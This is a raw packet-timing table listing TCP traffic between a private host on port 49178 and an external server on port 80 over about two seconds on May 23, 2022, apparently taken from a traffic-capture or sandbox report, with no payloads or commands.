May 23, 2022 11:39:25.551944017 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:25.553025007 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:25.553832054 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:25.833802938 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:25.833825111 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:25.833939075 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:25.840348959 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:25.840385914 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:25.840442896 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:25.840504885 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.102637053 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.103085041 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.105809927 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.105859041 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.105905056 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.105961084 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.105990887 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.105997086 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.108731031 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.108843088 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.121551991 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.121704102 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.121742964 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.121809959 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.123683929 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.371705055 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.371772051 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.371908903 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.371951103 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.374347925 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.374408007 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.374499083 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.387232065 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.387289047 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.387327909 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.387365103 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.387413025 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.418529987 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.418580055 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.418621063 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.418658018 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.418670893 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.418693066 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.418713093 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.418720961 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.418756962 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.418768883 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.418796062 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.418803930 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.418833971 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.449851036 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.449925900 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.449965954 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.449997902 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.640603065 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.640661955 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.640698910 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.640706062 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.640739918 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.640747070 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.654088020 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.654148102 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.654181957 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.654190063 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.654220104 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.654228926 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.654231071 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.654277086 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.674433947 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.674500942 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.674540997 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.674602032 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.677951097 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.686466932 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.686568975 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.686615944 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.686667919 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.686676025 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.686709881 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.686733961 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.686743975 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.700304985 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.700423956 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.716372013 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.716419935 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.716437101 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.716459990 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.716479063 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.716519117 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.732873917 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.732928991 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.732964039 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.732984066 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.732984066 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.733040094 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.733058929 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.733108997 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.747481108 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.747565985 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.747576952 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.747627020 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.747627020 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.747700930 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.762922049 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.762969017 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.763008118 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.763019085 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.763037920 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.763047934 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.763056040 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.763087988 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.763093948 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.763129950 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.763134003 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.763180971 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.778731108 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.778819084 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.910418987 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.910479069 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.910520077 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.910566092 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.911725998 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.918287992 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.918330908 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.918370962 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.918395996 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.918410063 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.918412924 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.934072971 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.934132099 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.934171915 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.934204102 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.934240103 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.949711084 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.949769020 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.949810028 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.949841976 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.949860096 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.949862957 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.949932098 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.966399908 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.966444016 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.966475964 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.966481924 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.966521978 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.966530085 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.980776072 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.980823040 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.980861902 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.980864048 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.980887890 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.980904102 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:26.980907917 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:26.980957031 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.001780987 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.001826048 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.001880884 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.001877069 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.001946926 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.001955032 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.012139082 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.012187958 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.012227058 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.012267113 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.012339115 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.012392044 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.015779018 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.027898073 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.027954102 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.027995110 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.028001070 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.028038979 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.028045893 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.043390036 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.043441057 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.043468952 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.043481112 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.043504953 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.043524981 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.043529034 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.043596983 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.058911085 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.058998108 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.074574947 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.074625015 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.074666023 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.074738979 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.076288939 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.090491056 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.090545893 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.090584993 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.090584993 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.090622902 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.090624094 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.090629101 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.090663910 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.090668917 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.090704918 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.090704918 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.090753078 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.121690989 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.121790886 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.121869087 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.121910095 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.121948004 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.121953011 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.121963024 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.122014046 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.122020960 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.122056007 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.179204941 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.179322958 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.180185080 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.180255890 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.184144974 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.184230089 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.186764956 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.186810017 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.186846018 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.191181898 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.199723005 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.199786901 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.202418089 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.202461958 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.202581882 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.215298891 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.215426922 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.218193054 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.218240976 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.218264103 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.218283892 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.218311071 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.218349934 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.231281996 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.231400967 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.235333920 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.235375881 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.235411882 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.235443115 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.247255087 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.247349024 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.250911951 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.250957012 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.250993013 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.250998020 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.251004934 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.251043081 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.263102055 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.263175964 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.270150900 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.270195007 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.270207882 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.270245075 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.281353951 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.281408072 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.281424046 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.281446934 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.281452894 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.281488895 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.281493902 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.281524897 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.309014082 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.309062004 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.309092045 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.309099913 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.309119940 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.309143066 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.309144974 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.309196949 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.311743975 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.311790943 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.311825991 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.313766956 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.324637890 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.324680090 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.324773073 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.326420069 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.327536106 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.327637911 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.343660116 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.343719006 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.343725920 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.343767881 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.358877897 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.358925104 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.358963966 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.358990908 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.358994961 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.359054089 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.371902943 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.371962070 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.371992111 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.372005939 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.372044086 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.372054100 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.391027927 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.391057968 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.391079903 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.391088009 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.391125917 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.391130924 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.403815031 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.403848886 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.403913021 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.403955936 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.447621107 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.447719097 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.449583054 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.449656010 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.452429056 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.452564001 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.454869986 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.454999924 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.465323925 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.465430021 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.467936039 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.468023062 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.470604897 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.470644951 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.470681906 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.470698118 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.483753920 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.483836889 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.486335993 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.486361027 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.486419916 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.486443996 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.499578953 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.499609947 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.499638081 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.499660969 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.503844976 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.503871918 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.503993988 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.515377998 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.515450001 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.520062923 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.520093918 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.520116091 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.520124912 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.520145893 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.520165920 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.531464100 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.531527042 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.538328886 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.538371086 CEST	80	49178	138.219.41.210	192.168.2.22
May 23, 2022 11:39:27.538445950 CEST	49178	80	192.168.2.22	138.219.41.210
May 23, 2022 11:39:27.540163040 CEST	49178	80	192.168.2.22	138.219.41.210
